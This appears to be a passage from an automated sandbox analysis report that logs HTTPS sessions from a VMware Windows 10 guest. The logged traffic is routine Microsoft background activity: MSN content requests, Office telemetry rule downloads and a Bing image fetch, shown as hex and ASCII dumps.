arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-25 04:46:19 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 3777 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: f5zYhhYR6QLgeTF8/6iH8DezssmIron1UKsescvmbnwnwIziy1Y4YxRmQVKAY9D9l4rlVFjZBqehB58IqhhJYaDZbMJN830VUxU5wBzcLEp6nb/U4cx+3NyKOWs+R/LGnSzpGX00b8WZQWefth9webv0K0Jzxos+3IiTTwYgG7e4WRjkFglqYvDvmoLJ3ONHiylgfzBpZh7JZ9FczGNTiliKIPfl5oMGvQshgwoE4qNAh/lIpHvm/WTNoE5EBT2LMBFqcPhNU/cm0HgpdomZ56kGARio2MafSXIaGhcqzWtkewDuNFjEL0EZombyIvTtVyF5GBP5e3+2yFWhoky7ng== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 25 Nov 2024 04:46:18 GMT Connection: close
2024-11-25 04:46:19 UTC	3777	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 53 75 67 67 65 73 74 69 6f 6e 73 4f 6e 53 74 61 72 74 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"SuggestionsOnStart\",\"propertyManifest\":{},\"properties\":{},\"trac

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:18 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:19 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:19 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 23 Nov 2024 12:15:37 GMT ETag: "0x8DD0BB889D4282C" x-ms-request-id: 19b35b80-c01e-0049-150a-3eac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044619Z-174c587ffdfl22mzhC1TEBk40c00000005mg0000000094w0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:19 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-25 04:46:19 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-25 04:46:19 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-25 04:46:19 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-25 04:46:19 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-25 04:46:19 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-25 04:46:19 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-25 04:46:19 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-25 04:46:19 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-25 04:46:20 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49725	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:20 UTC	2638	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241125T044616Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=6bca432b1919442ba0c889b66cc1313b&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=600388&metered=false&nettype=ethernet&npid=sc-338387&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=600388&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: cid=530911393,531098720,531174684&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAay3PZhKuCkrPSyBC+K7jS3lqIgx8Fbh3P99oi5sRGvkmbvl2RGH4X2qzx1UdEdBUw9sFgvhNPCRd/vl7bxUKzV4sEzwTLWEkQ/dntSf4KvoW7ZBXGfu/oDdzIJTlyLzUWWtV2diANnBGjU9MnwzFQ6qNVHxZrBzQJUrzIJalVCOgQPea/AReTYEo0YNIZNffKvav7hxXhm5deBNslSLDuHAfnLcx/DpC5Q4TWiL80qk9/KgM7D9WmClKcQMerHwQLX+Iq20oi8kPFwASv0aOjJhF5A4W/PAEqtLCwJABrwr/fOzy6fB7ugjEV53NE7TiNDkhQZ6Hcpa0zkoG8di34AQZgAAEJZf5Y8wCICPvPK+lWhfMliwAQLru2vWpGnoTiAh+ZkVhtnGcXTenkKJfOx0+xNu3wXZbOu/CUaA9/+UB2RQ8nrA3J63lkzNtHGL4iPuXeJG34Ij/KzxMz/lhbvDfH2KsWL5MOMm50sgZJFcomS7VuhaSIvNd/oRxxxdeC2EyqJ3Fpoql3OvT3w3apYaRmi5/YYIwJ+mFFYiIasYr2MztIp2MvEScVARIB6C/zIG17xuvU2IedZDF261TYv4DOL/V3sl4MXgagdeV8qpa3QvSTA+2XEVqRCNkWytoLY0KdTnLKvMkJwhluD7KnyKN9hgEGP6nnYwo/wqcOpt/yvcxM4D7Fb6OMt5wh+6rx5bybn+42jMLdQtn1vULEH+7Wdu9WEKb+pgY8a6f5yB6wamUhui+Ad7szIBR8r04ZwzuebMGEzUx8uiwqPwfvP/176HaRFxs2bGn1qSHvXgFfrLLn9R/xChp26GwWciHc9xleM7JeQZ67xvMKoBEUfLrOrcPmWN2O/RRJp+RJtvFCQ1pqcZl1oGlOxjjEDsO53us0k9MdRg2liTXjY0w0Ua2xPTU2pImvd4HY183+u12oJVumFcN9cB&p= Cache-Control: no-cache MS-CV: x+uPAxlRTkK/BE4k.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-25 04:46:20 UTC	815	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 21691 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: rlX929VEXFoRXAcrIwANPQQYIpa1J9ih8cjUPp5ov5u35aCYM4e8699d3oRncvIowv1VfvWPPE4z6e9Qa0SBxK65M0sJHKCR2kG8jXzcj5lQ1U+7gldXwHaDhsfJi7YtmykAwi+wXPRTP3Xyk7JwQ3jJ2swXJRJcdLornCKJc9IlFxqkQykDoKeGf0t8vmb9LZw4GdWnmCVnz1G+iahR8wW+3PULyyn9Qlq3jRcX/Hj1CLr1Gso63yszzrHCuG6tKNJ5ta3V0aowk1e+cCemPTI8wpCICgRbyJKE/lHENJ/5ZIJPUbfO0U8QJSuhKzYups8+9UNdpn6eo7I0YEfkpQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 25 Nov 2024 04:46:19 GMT Connection: close
2024-11-25 04:46:20 UTC	15569	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2024-11-25 04:46:20 UTC	6122	IN	Data Raw: 61 63 74 69 6f 6e 5c 22 7d 2c 5c 22 6d 61 69 6e 49 6d 61 67 65 5c 22 3a 7b 5c 22 69 73 4f 70 74 69 6f 6e 61 6c 5c 22 3a 74 72 75 65 2c 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 67 65 5c 22 7d 2c 5c 22 6c 6f 63 61 74 69 6f 6e 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 74 65 78 74 5c 22 7d 2c 5c 22 6c 61 6e 64 73 63 61 70 65 58 5c 22 3a 7b 5c 22 69 73 4f 70 74 69 6f 6e 61 6c 5c 22 3a 74 72 75 65 2c 5c 22 74 79 70 65 5c 22 3a 5c 22 6e 75 6d 65 72 69 63 5c 22 7d 2c 5c 22 6c 61 6e 64 73 63 61 70 65 59 5c 22 3a 7b 5c 22 69 73 4f 70 74 69 6f 6e 61 6c 5c 22 3a 74 72 75 65 2c 5c 22 74 79 70 65 5c 22 3a 5c 22 6e 75 6d 65 72 69 63 5c 22 7d 2c 5c 22 70 6f 72 74 72 61 69 74 58 5c 22 3a 7b 5c 22 69 73 4f 70 74 69 6f 6e 61 6c 5c 22 3a 74 72 75 65 2c 5c 22 74 79 70 65 Data Ascii: action\"},\"mainImage\":{\"isOptional\":true,\"type\":\"image\"},\"location\":{\"type\":\"text\"},\"landscapeX\":{\"isOptional\":true,\"type\":\"numeric\"},\"landscapeY\":{\"isOptional\":true,\"type\":\"numeric\"},\"portraitX\":{\"isOptional\":true,\"type

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49730	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:20 UTC	375	OUT	GET /th?id=OADD2.10239402415262_1QYE6F4QD8CN041QB&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-25 04:46:20 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 612938 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: A98C41CAEC1E46D38E4AD133820E7DB6 Ref B: EWR30EDGE1020 Ref C: 2024-11-25T04:46:20Z Date: Mon, 25 Nov 2024 04:46:19 GMT Connection: close
